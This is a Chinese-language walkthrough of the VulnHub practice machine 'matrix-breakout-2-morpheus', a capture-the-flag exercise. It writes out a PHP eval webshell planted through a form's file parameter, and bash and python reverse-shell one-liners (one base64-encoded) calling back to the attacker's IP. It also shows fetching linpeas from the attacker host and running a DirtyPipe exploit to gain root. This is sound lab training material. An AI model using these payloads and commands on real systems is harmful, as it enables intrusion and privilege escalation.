靶机渗透 | vulnhub | matrix-breakout-2-morpheus

信息收集

kali ip

ifconfig

192.168.1.1

靶机IP

nmap -sP 192.168.1.0/24

192.168.1.2

端口扫描

nmap -sV -sC -A -T4 -p- 192.168.1.2
nmap -sU --top-ports 100 192.168.1.2

22 80 81 端口

web目录枚举gobuster

gobuster dir -u http://192.168.1.2/ -w /usr/share/wordlists/dirb/common.txt
nikto -h http://192.168.1.2/

gobuster dir -u http://192.168.1.2 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nikto 扫描目标 Web 服务器的常见安全问题

Web漏洞利用

发现robots.txt graffiti.php graffiti.txt

输入框 是一个xss漏洞 返回到txt上

看源码发现value="graffiti.txt"

<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

POST /graffiti.php HTTP/1.1
Host: 192.168.155.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Origin: http://192.168.1.2
Referer: http://192.168.1.2/graffiti.php
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Length: 29

message=111&file=graffiti.txt

抓包发现文件名

自定义一个文件 说不定可以在服务器上创建

传一个木马文件

message=<?php eval(@$_POST['yeran']);?>&file=webshell.php

成功 蚁剑连接

根目录flag1

Flag 1!

You've gotten onto the system.  Now why has Cypher locked everyone out of it?

Can you find a way to get Cypher's password? It seems like he gave it to 
Agent Smith, so Smith could figure out where to meet him.

Also, pull this image from the webserver on port 80 to get a flag.

/.cypher-neo.png

从80端口的网络服务器上拉取此图像以获取一个标志。
/.cypher-neo.png

wget http://192.168.1.2/.cypher-neo.png

binwalk -e .cypher-neo.png--run-as=root

binwalk -e --run-as=root .cypher-neo.png

分离得到8A 和8A.zlib两个文件

winhex分析 没有东西

有蚁剑 考虑

反弹shell

方便上传文件和提权

kali

nc -lvnp 4444

靶机上

bash -i >& /dev/tcp/192.168.1.1/4444 0>&1

这里用工具生成的 失败 原因是语法层：dash 解析 >& 就退出，命令从未执行

用

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.1",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'

使用编码过的（在蚁剑上执行 确保开启监听）

echo cHl0aG9uMyAtYyAiaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzE5Mi4xNjguMS4xJyw0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKSBmb3IgZiBpbiAoMCwxLDIpXTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSki | base64 -d | /bin/sh

linpeas.sh自动化脚本

必须走"文件层"，不是"命令层”

在脚本所在目录开启服务

cd /usr/share/peass/linpeas && ls -lh linpeas.sh && python3 -m http.server 8000

yijian执行

wget -qO /tmp/linpeas.sh http://192.168.1.1:8000/linpeas.sh && chmod +x /tmp/linpeas.sh && echo OK

添加可执行权限

chmod +x linpeas.sh

./linpeas.sh执行
发现

CVE: CVE-2022-0847 | Name: DirtyPipe | Match data: pkg=linux-kernel,ver>=5.8,ver<=5.16.11 | Tags: ubuntu=(20.04|21.04),debian=11 | Rank: 1                                                                      

然后直接在反弹shell里面执行

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

$ chmod +x Dirty-Pipe.sh
$ bash Dirty-Pipe.sh
/etc/passwd已备份到/tmp/passwd
It worked!

# 恢复原来的密码
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -a
.
..
.bashrc
.lesshst
.local
.profile
.selected_editor
.vim
.viminfo
FLAG.txt
cat FLAG.txt
You've won!

Let's hope Matrix: Resurrections rocks!